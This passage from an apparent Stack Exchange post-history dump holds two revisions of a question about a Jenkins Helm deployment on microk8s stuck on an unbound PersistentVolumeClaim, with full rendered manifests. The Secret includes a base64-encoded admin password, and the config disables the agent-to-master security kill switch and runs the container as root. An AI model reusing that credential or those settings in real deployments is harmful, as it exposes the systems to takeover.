&lt;ttyEnabled&gt;false&lt;/ttyEnabled&gt;&#xD;&#xA;                      # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;                      # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;                      # enough time to migrate.&#xD;&#xA;                      &lt;resourceRequestCpu&gt;200m&lt;/resourceRequestCpu&gt;&#xD;&#xA;                      &lt;resourceRequestMemory&gt;256Mi&lt;/resourceRequestMemory&gt;&#xD;&#xA;                      &lt;resourceLimitCpu&gt;200m&lt;/resourceLimitCpu&gt;&#xD;&#xA;                      &lt;resourceLimitMemory&gt;256Mi&lt;/resourceLimitMemory&gt;&#xD;&#xA;                      &lt;envVars&gt;&#xD;&#xA;                        &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                          &lt;key&gt;JENKINS_URL&lt;/key&gt;&#xD;&#xA;                          &lt;value&gt;http://inclined-eagle-jenkins:8080&lt;/value&gt;&#xD;&#xA;                        &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                      &lt;/envVars&gt;&#xD;&#xA;                    &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                  &lt;/containers&gt;&#xD;&#xA;                  &lt;envVars/&gt;&#xD;&#xA;                  &lt;annotations/&gt;&#xD;&#xA;                  &lt;imagePullSecrets/&gt;&#xD;&#xA;                  &lt;nodeProperties/&gt;&#xD;&#xA;                  &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Default&quot;/&gt;&#xD;&#xA;                &lt;/org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&lt;/templates&gt;&#xD;&#xA;              &lt;serverUrl&gt;https://kubernetes.default&lt;/serverUrl&gt;&#xD;&#xA;              &lt;skipTlsVerify&gt;false&lt;/skipTlsVerify&gt;&#xD;&#xA;              &lt;namespace&gt;default&lt;/namespace&gt;&#xD;&#xA;              &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;              &lt;jenkinsTunnel&gt;inclined-eagle-jenkins-agent:50000&lt;/jenkinsTunnel&gt;&#xD;&#xA;              &lt;containerCap&gt;10&lt;/containerCap&gt;&#xD;&#xA;              &lt;retentionTimeout&gt;5&lt;/retentionTimeout&gt;&#xD;&#xA;              &lt;connectTimeout&gt;0&lt;/connectTimeout&gt;&#xD;&#xA;              &lt;readTimeout&gt;0&lt;/readTimeout&gt;&#xD;&#xA;              &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Never&quot;/&gt;&#xD;&#xA;            &lt;/org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud&gt;&#xD;&#xA;          &lt;/clouds&gt;&#xD;&#xA;          &lt;quietPeriod&gt;5&lt;/quietPeriod&gt;&#xD;&#xA;          &lt;scmCheckoutRetryCount&gt;0&lt;/scmCheckoutRetryCount&gt;&#xD;&#xA;          &lt;views&gt;&#xD;&#xA;            &lt;hudson.model.AllView&gt;&#xD;&#xA;              &lt;owner class=&quot;hudson&quot; reference=&quot;../../..&quot;/&gt;&#xD;&#xA;              &lt;name&gt;All&lt;/name&gt;&#xD;&#xA;              &lt;filterExecutors&gt;false&lt;/filterExecutors&gt;&#xD;&#xA;              &lt;filterQueue&gt;false&lt;/filterQueue&gt;&#xD;&#xA;              &lt;properties class=&quot;hudson.model.View$PropertyList&quot;/&gt;&#xD;&#xA;            &lt;/hudson.model.AllView&gt;&#xD;&#xA;          &lt;/views&gt;&#xD;&#xA;          &lt;primaryView&gt;All&lt;/primaryView&gt;&#xD;&#xA;          &lt;slaveAgentPort&gt;50000&lt;/slaveAgentPort&gt;&#xD;&#xA;          &lt;disabledAgentProtocols&gt;&#xD;&#xA;            &lt;string&gt;JNLP-connect&lt;/string&gt;&#xD;&#xA;            &lt;string&gt;JNLP2-connect&lt;/string&gt;&#xD;&#xA;          &lt;/disabledAgentProtocols&gt;&#xD;&#xA;          &lt;label&gt;&lt;/label&gt;&#xD;&#xA;          &lt;crumbIssuer class=&quot;hudson.security.csrf.DefaultCrumbIssuer&quot;&gt;&#xD;&#xA;            &lt;excludeClientIPFromCrumb&gt;true&lt;/excludeClientIPFromCrumb&gt;&#xD;&#xA;          &lt;/crumbIssuer&gt;&#xD;&#xA;          &lt;nodeProperties/&gt;&#xD;&#xA;          &lt;globalNodeProperties/&gt;&#xD;&#xA;          &lt;noUsageStatistics&gt;true&lt;/noUsageStatistics&gt;&#xD;&#xA;        &lt;/hudson&gt;&#xD;&#xA;      jenkins.model.JenkinsLocationConfiguration.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;          &lt;adminAddress&gt;&lt;/adminAddress&gt;&#xD;&#xA;          &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;        &lt;/jenkins.model.JenkinsLocationConfiguration&gt;&#xD;&#xA;      jenkins.CLI.xml: |-&#xD;&#xA;        &lt;?xml version='1.1' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;jenkins.CLI&gt;&#xD;&#xA;          &lt;enabled&gt;false&lt;/enabled&gt;&#xD;&#xA;        &lt;/jenkins.CLI&gt;&#xD;&#xA;      apply_config.sh: |-&#xD;&#xA;        mkdir -p /usr/share/jenkins/ref/secrets/;&#xD;&#xA;        echo &quot;false&quot; &gt; /usr/share/jenkins/ref/secrets/slave-to-master-security-kill-switch;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/config.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.CLI.xml /var/jenkins_home;&#xD;&#xA;        yes n | cp -i /var/jenkins_config/jenkins.model.JenkinsLocationConfiguration.xml /var/jenkins_home;&#xD;&#xA;        # Install missing plugins&#xD;&#xA;        cp /var/jenkins_config/plugins.txt /var/jenkins_home;&#xD;&#xA;        rm -rf /usr/share/jenkins/ref/plugins/*.lock&#xD;&#xA;        /usr/local/bin/install-plugins.sh `echo $(cat /var/jenkins_home/plugins.txt)`;&#xD;&#xA;        # Copy plugins to shared volume&#xD;&#xA;        yes n | cp -i /usr/share/jenkins/ref/plugins/* /var/jenkins_plugins/;&#xD;&#xA;      plugins.txt: |-&#xD;&#xA;        kubernetes:1.14.0&#xD;&#xA;        workflow-job:2.31&#xD;&#xA;        workflow-aggregator:2.6&#xD;&#xA;        credentials-binding:1.17&#xD;&#xA;        git:3.9.1&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/test-config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-tests&#xD;&#xA;    data:&#xD;&#xA;      run.sh: |-&#xD;&#xA;        @test &quot;Testing Jenkins UI is accessible&quot; {&#xD;&#xA;          curl --retry 48 --retry-delay 10 inclined-eagle-jenkins:8080/login&#xD;&#xA;        }&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/home-pvc.yaml&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - &quot;ReadWriteOnce&quot;&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: &quot;4Gi&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-agent-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins-agent&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 50000&#xD;&#xA;          targetPort: 50000&#xD;&#xA;          &#xD;&#xA;          name: slavelistener&#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: ClusterIP&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-svc.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;        - port: 8080&#xD;&#xA;          name: http&#xD;&#xA;          targetPort: 8080&#xD;&#xA;          &#xD;&#xA;      selector:&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      type: NodePort&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/jenkins-master-deployment.yaml&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      strategy:&#xD;&#xA;        type: Recreate&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: inclined-eagle-jenkins&#xD;&#xA;            heritage: &quot;Tiller&quot;&#xD;&#xA;            release: &quot;inclined-eagle&quot;&#xD;&#xA;            chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;            component: &quot;inclined-eagle-jenkins-master&quot;&#xD;&#xA;          annotations:&#xD;&#xA;            checksum/config: 4eebbff9187d5eadf249ff0106423ec0b571659e014ed75f2abef5619afc24f9&#xD;&#xA;        spec:&#xD;&#xA;          securityContext:&#xD;&#xA;            runAsUser: 0&#xD;&#xA;          serviceAccountName: &quot;default&quot;&#xD;&#xA;          initContainers:&#xD;&#xA;            - name: &quot;copy-default-config&quot;&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              command: [ &quot;sh&quot;, &quot;/var/jenkins_config/apply_config.sh&quot; ]&#xD;&#xA;              resources:&#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_plugins&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;          containers:&#xD;&#xA;            - name: inclined-eagle-jenkins&#xD;&#xA;              image: &quot;jenkins/jenkins:lts&quot;&#xD;&#xA;              imagePullPolicy: &quot;Always&quot;&#xD;&#xA;              args: [ &quot;--argumentsRealm.passwd.$(ADMIN_USER)=$(ADMIN_PASSWORD)&quot;,  &quot;--argumentsRealm.roles.$(ADMIN_USER)=admin&quot;]&#xD;&#xA;              env:&#xD;&#xA;                - name: JAVA_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: JENKINS_OPTS&#xD;&#xA;                  value: &quot;&quot;&#xD;&#xA;                - name: ADMIN_PASSWORD&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-password&#xD;&#xA;                - name: ADMIN_USER&#xD;&#xA;                  valueFrom:&#xD;&#xA;                    secretKeyRef:&#xD;&#xA;                      name: inclined-eagle-jenkins&#xD;&#xA;                      key: jenkins-admin-user&#xD;&#xA;              ports:&#xD;&#xA;                - containerPort: 8080&#xD;&#xA;                  name: http&#xD;&#xA;                - containerPort: 50000&#xD;&#xA;                  name: slavelistener&#xD;&#xA;              livenessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: http&#xD;&#xA;                initialDelaySeconds: 90&#xD;&#xA;                timeoutSeconds: 5&#xD;&#xA;                failureThreshold: 12&#xD;&#xA;              readinessProbe:&#xD;&#xA;                httpGet:&#xD;&#xA;                  path: &quot;/login&quot;&#xD;&#xA;                  port: http&#xD;&#xA;                initialDelaySeconds: 60&#xD;&#xA;                periodSeconds: 10&#xD;&#xA;              # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;              # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;              # enough time to migrate.&#xD;&#xA;              resources:&#xD;&#xA;    &#xD;&#xA;                limits:&#xD;&#xA;                  cpu: 2000m&#xD;&#xA;                  memory: 2048Mi&#xD;&#xA;                requests:&#xD;&#xA;                  cpu: 50m&#xD;&#xA;                  memory: 256Mi&#xD;&#xA;                &#xD;&#xA;    &#xD;&#xA;              volumeMounts:&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_home&#xD;&#xA;                  name: jenkins-home&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /var/jenkins_config&#xD;&#xA;                  name: jenkins-config&#xD;&#xA;                  readOnly: true&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/plugins/&#xD;&#xA;                  name: plugin-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;                -&#xD;&#xA;                  mountPath: /usr/share/jenkins/ref/secrets/&#xD;&#xA;                  name: secrets-dir&#xD;&#xA;                  readOnly: false&#xD;&#xA;          volumes:&#xD;&#xA;          - name: jenkins-config&#xD;&#xA;            configMap:&#xD;&#xA;              name: inclined-eagle-jenkins&#xD;&#xA;          - name: plugin-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: secrets-dir&#xD;&#xA;            emptyDir: {}&#xD;&#xA;          - name: jenkins-home&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: inclined-eagle-jenkins&#xD;&#xA;&#xD;&#xA;pod's log:&#xD;&#xA;&#xD;&#xA;    container &quot;inclined-eagle-jenkins&quot; in pod &quot;inclined-eagle-jenkins-65c8f989d-lglfc&quot; is waiting to start: PodInitializing" ContentLicense="CC BY-SA 4.0" />
  <row Id="19150" PostHistoryTypeId="5" PostId="5970" RevisionGUID="52f6554f-3ad1-4b1b-b0f0-a18d57dfc497" CreationDate="2019-01-12T18:06:55.267" UserId="11801" Comment="added 150 characters in body" Text="I need your help. I try to deploy Jenkins in local Kubernetes cluster with Helm from repo stable/jenkins:lts. But after deployment I get pod which has status &quot;pod has unbound immediate PersistentVolumeClaims&quot;. PVC has status &quot;bound&quot; without any errors. My environment: virtual machine with Linux Ubuntu 18.x where there is installed microk8s. When I deploy I change only node type and persistence size.&#xD;&#xA;&#xD;&#xA;Helm chart config:&#xD;&#xA;&#xD;&#xA;    NAME:   inclined-eagle&#xD;&#xA;    REVISION: 1&#xD;&#xA;    RELEASED: Fri Jan 11 21:35:47 2019&#xD;&#xA;    CHART: jenkins-0.28.6&#xD;&#xA;    USER-SUPPLIED VALUES:&#xD;&#xA;    Master:&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;    Persistence:&#xD;&#xA;      Size: 4Gi&#xD;&#xA;    &#xD;&#xA;    COMPUTED VALUES:&#xD;&#xA;    Agent:&#xD;&#xA;      AlwaysPullImage: false&#xD;&#xA;      Component: jenkins-slave&#xD;&#xA;      CustomJenkinsLabels: []&#xD;&#xA;      Enabled: true&#xD;&#xA;      Image: jenkins/jnlp-slave&#xD;&#xA;      ImageTag: 3.27-1&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      PodRetention: Never&#xD;&#xA;      Privileged: false&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 200m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;      volumes: null&#xD;&#xA;    Master:&#xD;&#xA;      AdditionalConfig: {}&#xD;&#xA;      AdminUser: admin&#xD;&#xA;      CLI: false&#xD;&#xA;      CSRF:&#xD;&#xA;        DefaultCrumbIssuer:&#xD;&#xA;          Enabled: true&#xD;&#xA;          ProxyCompatability: true&#xD;&#xA;      Component: jenkins-master&#xD;&#xA;      CustomConfigMap: false&#xD;&#xA;      DisabledAgentProtocols:&#xD;&#xA;      - JNLP-connect&#xD;&#xA;      - JNLP2-connect&#xD;&#xA;      ExtraPorts: null&#xD;&#xA;      HealthProbeLivenessFailureThreshold: 12&#xD;&#xA;      HealthProbeReadinessPeriodSeconds: 10&#xD;&#xA;      HealthProbes: true&#xD;&#xA;      HealthProbesLivenessTimeout: 90&#xD;&#xA;      HealthProbesReadinessTimeout: 60&#xD;&#xA;      HostNetworking: false&#xD;&#xA;      Image: jenkins/jenkins&#xD;&#xA;      ImagePullPolicy: Always&#xD;&#xA;      ImageTag: lts&#xD;&#xA;      Ingress:&#xD;&#xA;        Annotations: {}&#xD;&#xA;        ApiVersion: extensions/v1beta1&#xD;&#xA;        TLS: null&#xD;&#xA;      InitScripts: null&#xD;&#xA;      InstallPlugins:&#xD;&#xA;      - kubernetes:1.14.0&#xD;&#xA;      - workflow-job:2.31&#xD;&#xA;      - workflow-aggregator:2.6&#xD;&#xA;      - credentials-binding:1.17&#xD;&#xA;      - git:3.9.1&#xD;&#xA;      LoadBalancerSourceRanges:&#xD;&#xA;      - 0.0.0.0/0&#xD;&#xA;      Name: jenkins-master&#xD;&#xA;      NodeSelector: {}&#xD;&#xA;      NumExecutors: 0&#xD;&#xA;      OverwriteConfig: false&#xD;&#xA;      PodAnnotations: {}&#xD;&#xA;      ServiceAnnotations: {}&#xD;&#xA;      ServiceLabels: {}&#xD;&#xA;      ServicePort: 8080&#xD;&#xA;      ServiceType: NodePort&#xD;&#xA;      SlaveListenerPort: 50000&#xD;&#xA;      SlaveListenerServiceAnnotations: {}&#xD;&#xA;      SlaveListenerServiceType: ClusterIP&#xD;&#xA;      Tolerations: {}&#xD;&#xA;      UsePodSecurityContext: true&#xD;&#xA;      UseSecurity: true&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 2000m&#xD;&#xA;          memory: 2048Mi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 50m&#xD;&#xA;          memory: 256Mi&#xD;&#xA;    NetworkPolicy:&#xD;&#xA;      ApiVersion: networking.k8s.io/v1&#xD;&#xA;      Enabled: false&#xD;&#xA;    Persistence:&#xD;&#xA;      AccessMode: ReadWriteOnce&#xD;&#xA;      Annotations: {}&#xD;&#xA;      Enabled: true&#xD;&#xA;      Size: 4Gi&#xD;&#xA;      mounts: null&#xD;&#xA;      volumes: null&#xD;&#xA;    backup:&#xD;&#xA;      annotations:&#xD;&#xA;        iam.amazonaws.com/role: jenkins&#xD;&#xA;      destination: s3://nuvo-jenkins-data/backup&#xD;&#xA;      enabled: false&#xD;&#xA;      env:&#xD;&#xA;      - name: AWS_REGION&#xD;&#xA;        value: us-east-1&#xD;&#xA;      extraArgs: []&#xD;&#xA;      image:&#xD;&#xA;        repository: nuvo/kube-tasks&#xD;&#xA;        tag: 0.1.2&#xD;&#xA;      resources:&#xD;&#xA;        limits:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;        requests:&#xD;&#xA;          cpu: 1&#xD;&#xA;          memory: 1Gi&#xD;&#xA;      schedule: 0 2 * * *&#xD;&#xA;    rbac:&#xD;&#xA;      install: false&#xD;&#xA;      roleBindingKind: ClusterRoleBinding&#xD;&#xA;      roleKind: ClusterRole&#xD;&#xA;      roleRef: cluster-admin&#xD;&#xA;      serviceAccountName: default&#xD;&#xA;    &#xD;&#xA;    HOOKS:&#xD;&#xA;    ---&#xD;&#xA;    # inclined-eagle-ui-test-1mhfp&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;      name: &quot;inclined-eagle-ui-test-1mhfp&quot;&#xD;&#xA;      annotations:&#xD;&#xA;        &quot;helm.sh/hook&quot;: test-success&#xD;&#xA;    spec:&#xD;&#xA;      initContainers:&#xD;&#xA;        - name: &quot;test-framework&quot;&#xD;&#xA;          image: &quot;dduportal/bats:0.4.0&quot;&#xD;&#xA;          command:&#xD;&#xA;          - &quot;bash&quot;&#xD;&#xA;          - &quot;-c&quot;&#xD;&#xA;          - |&#xD;&#xA;            set -ex&#xD;&#xA;            # copy bats to tools dir&#xD;&#xA;            cp -R /usr/local/libexec/ /tools/bats/&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      containers:&#xD;&#xA;        - name: inclined-eagle-ui-test&#xD;&#xA;          image: jenkins/jenkins:lts&#xD;&#xA;          command: [&quot;/tools/bats/bats&quot;, &quot;-t&quot;, &quot;/tests/run.sh&quot;]&#xD;&#xA;          volumeMounts:&#xD;&#xA;          - mountPath: /tests&#xD;&#xA;            name: tests&#xD;&#xA;            readOnly: true&#xD;&#xA;          - mountPath: /tools&#xD;&#xA;            name: tools&#xD;&#xA;      volumes:&#xD;&#xA;      - name: tests&#xD;&#xA;        configMap:&#xD;&#xA;          name: inclined-eagle-jenkins-tests&#xD;&#xA;      - name: tools&#xD;&#xA;        emptyDir: {}&#xD;&#xA;      restartPolicy: Never&#xD;&#xA;    MANIFEST:&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/secret.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Secret&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;      labels:&#xD;&#xA;        app: inclined-eagle-jenkins&#xD;&#xA;        chart: &quot;jenkins-0.28.6&quot;&#xD;&#xA;        release: &quot;inclined-eagle&quot;&#xD;&#xA;        heritage: &quot;Tiller&quot;&#xD;&#xA;    type: Opaque&#xD;&#xA;    data:&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-password: &quot;enkyZlZqdVdqMw==&quot;&#xD;&#xA;      &#xD;&#xA;      jenkins-admin-user: &quot;YWRtaW4=&quot;&#xD;&#xA;    ---&#xD;&#xA;    # Source: jenkins/templates/config.yaml&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: inclined-eagle-jenkins&#xD;&#xA;    data:&#xD;&#xA;      config.xml: |-&#xD;&#xA;        &lt;?xml version='1.0' encoding='UTF-8'?&gt;&#xD;&#xA;        &lt;hudson&gt;&#xD;&#xA;          &lt;disabledAdministrativeMonitors/&gt;&#xD;&#xA;          &lt;version&gt;lts&lt;/version&gt;&#xD;&#xA;          &lt;numExecutors&gt;0&lt;/numExecutors&gt;&#xD;&#xA;          &lt;mode&gt;NORMAL&lt;/mode&gt;&#xD;&#xA;          &lt;useSecurity&gt;true&lt;/useSecurity&gt;&#xD;&#xA;          &lt;authorizationStrategy class=&quot;hudson.security.FullControlOnceLoggedInAuthorizationStrategy&quot;&gt;&#xD;&#xA;            &lt;denyAnonymousReadAccess&gt;true&lt;/denyAnonymousReadAccess&gt;&#xD;&#xA;          &lt;/authorizationStrategy&gt;&#xD;&#xA;          &lt;securityRealm class=&quot;hudson.security.LegacySecurityRealm&quot;/&gt;&#xD;&#xA;          &lt;disableRememberMe&gt;false&lt;/disableRememberMe&gt;&#xD;&#xA;          &lt;projectNamingStrategy class=&quot;jenkins.model.ProjectNamingStrategy$DefaultProjectNamingStrategy&quot;/&gt;&#xD;&#xA;          &lt;workspaceDir&gt;${JENKINS_HOME}/workspace/${ITEM_FULLNAME}&lt;/workspaceDir&gt;&#xD;&#xA;          &lt;buildsDir&gt;${ITEM_ROOTDIR}/builds&lt;/buildsDir&gt;&#xD;&#xA;          &lt;markupFormatter class=&quot;hudson.markup.EscapedMarkupFormatter&quot;/&gt;&#xD;&#xA;          &lt;jdks/&gt;&#xD;&#xA;          &lt;viewsTabBar class=&quot;hudson.views.DefaultViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;myViewsTabBar class=&quot;hudson.views.DefaultMyViewsTabBar&quot;/&gt;&#xD;&#xA;          &lt;clouds&gt;&#xD;&#xA;            &lt;org.csanchez.jenkins.plugins.kubernetes.KubernetesCloud plugin=&quot;kubernetes@1.14.0&quot;&gt;&#xD;&#xA;              &lt;name&gt;kubernetes&lt;/name&gt;&#xD;&#xA;              &lt;templates&gt;&#xD;&#xA;                &lt;org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&#xD;&#xA;                  &lt;inheritFrom&gt;&lt;/inheritFrom&gt;&#xD;&#xA;                  &lt;name&gt;default&lt;/name&gt;&#xD;&#xA;                  &lt;instanceCap&gt;2147483647&lt;/instanceCap&gt;&#xD;&#xA;                  &lt;idleMinutes&gt;0&lt;/idleMinutes&gt;&#xD;&#xA;                  &lt;label&gt;inclined-eagle-jenkins-slave &lt;/label&gt;&#xD;&#xA;                  &lt;nodeSelector&gt;&lt;/nodeSelector&gt;&#xD;&#xA;                    &lt;nodeUsageMode&gt;NORMAL&lt;/nodeUsageMode&gt;&#xD;&#xA;                  &lt;volumes&gt;&#xD;&#xA;                  &lt;/volumes&gt;&#xD;&#xA;                  &lt;containers&gt;&#xD;&#xA;                    &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                      &lt;name&gt;jnlp&lt;/name&gt;&#xD;&#xA;                      &lt;image&gt;jenkins/jnlp-slave:3.27-1&lt;/image&gt;&#xD;&#xA;                      &lt;privileged&gt;false&lt;/privileged&gt;&#xD;&#xA;                      &lt;alwaysPullImage&gt;false&lt;/alwaysPullImage&gt;&#xD;&#xA;                      &lt;workingDir&gt;/home/jenkins&lt;/workingDir&gt;&#xD;&#xA;                      &lt;command&gt;&lt;/command&gt;&#xD;&#xA;                      &lt;args&gt;${computer.jnlpmac} ${computer.name}&lt;/args&gt;&#xD;&#xA;                      &lt;ttyEnabled&gt;false&lt;/ttyEnabled&gt;&#xD;&#xA;                      # Resources configuration is a little hacky. This was to prevent breaking&#xD;&#xA;                      # changes, and should be cleanned up in the future once everybody had&#xD;&#xA;                      # enough time to migrate.&#xD;&#xA;                      &lt;resourceRequestCpu&gt;200m&lt;/resourceRequestCpu&gt;&#xD;&#xA;                      &lt;resourceRequestMemory&gt;256Mi&lt;/resourceRequestMemory&gt;&#xD;&#xA;                      &lt;resourceLimitCpu&gt;200m&lt;/resourceLimitCpu&gt;&#xD;&#xA;                      &lt;resourceLimitMemory&gt;256Mi&lt;/resourceLimitMemory&gt;&#xD;&#xA;                      &lt;envVars&gt;&#xD;&#xA;                        &lt;org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                          &lt;key&gt;JENKINS_URL&lt;/key&gt;&#xD;&#xA;                          &lt;value&gt;http://inclined-eagle-jenkins:8080&lt;/value&gt;&#xD;&#xA;                        &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerEnvVar&gt;&#xD;&#xA;                      &lt;/envVars&gt;&#xD;&#xA;                    &lt;/org.csanchez.jenkins.plugins.kubernetes.ContainerTemplate&gt;&#xD;&#xA;                  &lt;/containers&gt;&#xD;&#xA;                  &lt;envVars/&gt;&#xD;&#xA;                  &lt;annotations/&gt;&#xD;&#xA;                  &lt;imagePullSecrets/&gt;&#xD;&#xA;                  &lt;nodeProperties/&gt;&#xD;&#xA;                  &lt;podRetention class=&quot;org.csanchez.jenkins.plugins.kubernetes.pod.retention.Default&quot;/&gt;&#xD;&#xA;                &lt;/org.csanchez.jenkins.plugins.kubernetes.PodTemplate&gt;&lt;/templates&gt;&#xD;&#xA;              &lt;serverUrl&gt;https://kubernetes.default&lt;/serverUrl&gt;&#xD;&#xA;              &lt;skipTlsVerify&gt;false&lt;/skipTlsVerify&gt;&#xD;&#xA;              &lt;namespace&gt;default&lt;/namespace&gt;&#xD;&#xA;              &lt;jenkinsUrl&gt;http://inclined-eagle-jenkins:8080&lt;/jenkinsUrl&gt;&#xD;&#xA;              &lt;jenkinsTunnel&gt;inclined-eagle-jenkins-agent:50000&lt;/jenkinsTunnel&gt;&#xD;&#xA;              &lt;containerCap&gt;10&lt;/containerCap&gt;&#xD;&#xA;              